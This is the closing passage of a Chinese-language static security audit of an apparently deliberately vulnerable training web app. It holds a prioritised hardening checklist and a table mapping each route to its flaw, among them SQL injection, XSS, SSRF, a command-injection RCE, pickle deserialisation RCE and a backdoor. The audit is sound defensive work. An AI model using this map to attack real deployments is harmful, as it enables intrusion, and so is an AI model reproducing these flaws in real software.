修复建议:
- 生产环境统一返回通用错误页(
500 Internal Server Error),错误详情只写服务端日志。 - 用参数化查询后,SQL 错误本身也不应暴露(#1 修复后该点自然消除)。
五、纵深防御加固清单(按优先级)
| 优先级 | 动作 | 对应漏洞 |
|---|---|---|
| P0 | 全库参数化查询,消灭所有字符串拼接 SQL | #1 #2 |
| P0 | 删除 do_BDR 后门;全代码禁用 shell=True |
#5 #3 |
| P0 | 反序列化改用 JSON;不可信数据绝不 pickle.loads |
#4 |
| P0 | 文件读取加目录白名单(realpath 前缀校验);禁 file:///外网 URL |
#6 #7 |
| P1 | Cookie 加 HttpOnly; Secure; SameSite=Strict;会话独立实例 + 高熵随机 + 过期轮换 |
#19 #15 #13 #14 |
| P1 | 状态变更改 POST + CSRF Token;删号二次确认 | #11 |
| P1 | 加 X-Frame-Options: DENY / CSP frame-ancestors 'none' |
#12 |
| P1 | 所有输出 HTML 编码;删除 document.write;收紧 CSP |
#8 #9 #10 #20 |
| P1 | 密码哈希存储;移除默认凭证与后门;登录限速 | #21 #2 |
| P1 | 默认强制 HTTPS + HSTS | #18 |
| P2 | 授权检查前置(先鉴权再渲染),重定向用 30x | #17 #16 |
| P2 | 统一错误页,异常只进日志 | #22 |
六、附录:路由与风险前置条件速查
| 路由 | 功能 | 漏洞 | 需 risk |
|---|---|---|---|
/login |
登录 | SQLi 认证绕过、后门 | 1 |
/users |
用户查询 | SQL 注入(可拖 session) | 1 |
/post |
留言 | 反射 XSS | 1 |
/guestbook |
留言板 | 存储 XSS | 1 |
/docs |
文档读取 | 路径穿越 + SSRF + file:// | 1 |
/jump |
跳转 | 开放重定向 | 1 |
/home |
首页 | 会话固定 | 1 |
/profile |
个人信息 | 会话劫持 | 1 |
/admin |
管理页 | EAR | 1 |
/settings |
设置 | CSRF | 1 |
/danger |
删号 | CSRF + 点击劫持 | 1 |
/diag |
域名诊断 | 命令注入 RCE | 3 |
/extract |
对象反序列化 | pickle RCE | 3 |
任意 (BDR 方法) |
— | 命令执行后门 | 3 |
全部页面 |
静态资源 + custom.js | DOM XSS、弱头、无 X-Frame-Options | 1 |
报告完。所有结论基于静态代码分析(逐行核对 attacks.py / handlers.py / server.py / custom.js / dsvpwa.py / db/*.xml 后得出),未执行动态验证。行号对应仓库 HEAD a06abb3。